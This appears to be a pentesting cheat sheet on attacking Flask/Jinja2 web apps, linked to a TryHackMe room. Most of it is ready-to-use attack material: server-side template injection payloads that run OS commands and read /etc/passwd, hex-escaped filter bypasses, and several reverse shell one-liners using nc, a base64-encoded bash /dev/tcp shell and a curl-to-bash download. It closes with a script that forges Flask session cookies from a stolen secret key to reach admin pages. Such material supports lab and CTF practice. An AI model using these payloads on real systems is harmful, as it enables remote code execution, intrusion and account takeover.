Flask Jinja2 Pentesting
Flask is a micro web framework written in Python.
- [hipflask](https://tryhackme.com/room/hipflask)
- [infosecwriteups.com](https://infosecwriteups.com/-e91b4e65a4b2)
Common Directories
SSTI (Server-Side Template Injection)
Sometimes, website may filter specific characters.
If so, URL encode the payload or convert to HEX.
In addition, it’s recommended to send requests using Burp Suite because web browsers automatically update the payload.
First, try below payloads.
RCE
If success, we may be able to exploit with OS command injection.
{{ __import__('os').system('ping -c 1 10.0.0.1') }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}
{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')() }}
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
{{ [].__class__.__base__.__subclasses__()[422]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip() }}
{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
Reverse Shell
{{config.__class__.__init__.__globals__['os'].popen('mkfifo /tmp/ZTQ0Y; nc 10.0.0.1 443 0</tmp/ZTQ0Y | /bin/sh >/tmp/ZTQ0Y 2>&1; rm /tmp/ZTQ0Y').read()}}
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')|attr('read')() }}
# Filter bypass - Base64 encode
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNy80NDQ0IDA+JjEi" | base64 -d | bash').read() }}
Alternatively, we can create a shell script to reverse shell, then execute it in the server side.
For example, create a shell script named "revshell" in local machine.
Then host it and start a listener for receiving an incoming request.
Now inject SSTI in the target website.
{{request.application.__globals__.__builtins__.__import__('os').popen('curl 10.0.0.1:8000/revshell | bash').read()}}
# Filter bypassing
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl 10.0.0.1:8000/revshell | bash")|attr("read")()}}
We may get a shell.
SSTI with Error Page
If the website displays an error page (404, 403, etc.) when we access to the page which does not exists, the path may be reflected in the error page. For example, when we attempt to access to /example.html
which does not exist, the error page will show messages like the following.
As you know, we can insert the malicious program using SSTI.
For instance, try to access http://example.com/{{ 2*3 }}
.
The error page will reflect the result of "2*3" as follow.
Decode Session Cookie
The session of cookie in the Flask webapp can be decoded.
Cookie Forgery
1. Create a Python Virtual Environment
2. Install Packages
3. Create a Python Script
For instance, create “test.py”.
Replace the "SECRET_KEY" value with the target Flask app's secret key.
#!/usr/bin/env python3
from flask import Flask, session, request
from waitress import serve
import requests, threading, time
app = Flask(__name__)
app.config["SECRET_KEY"] = "c53ac69e07ed112ecb788eb4dc831990"
@app.route("/")
def main():
session["auth"] = "True"
session["username"] = "test" # SSTI may be applied with "{{ 3*7 }}"
return "Check you cookies", 200
# Flask setup/start
thread = threading.Thread(target = lambda: serve(app, port=9000, host="127.0.0.1"))
thread.setDaemon(True)
thread.start()
# Request
time.sleep(1)
print(requests.get("http://localhost:9000/").cookies.get("session"))
4. Run the Script
The cookie value generated.
Copy and paste it into the Cookie of the HTTP header in browser as below.
Now we can login and access to admin page e.g. /admin.
After exploiting, deactivate the python virtual environment.